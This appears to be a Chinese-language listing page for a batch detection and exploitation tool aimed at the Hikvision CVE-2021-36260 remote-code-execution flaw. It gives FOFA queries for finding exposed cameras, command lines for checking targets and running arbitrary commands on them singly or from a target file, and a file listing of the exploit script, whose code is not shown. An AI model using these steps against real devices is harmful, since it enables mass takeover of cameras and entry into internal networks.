来源

关联漏洞

描述

海康威视RCE漏洞 批量检测和利用工具

介绍

# 海康威视 CVE-2021-36260 RCE 漏洞

## 漏洞描述

攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP 摄像头外，还可以访问和攻击内部网络。

## FOFA

```
header="Hikvision"			 
app="HIKVISION-视频监控"
```

## 使用方法

```
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")
```

可批量挖掘src

文件快照

 [4.0K]  /data/pocs/ac949451b689dd8ee4d890b636448fa6a5645219
├── [3.8K]  CVE-2021-36260.py
└── [ 834]  README.md

0 directories, 2 files

备注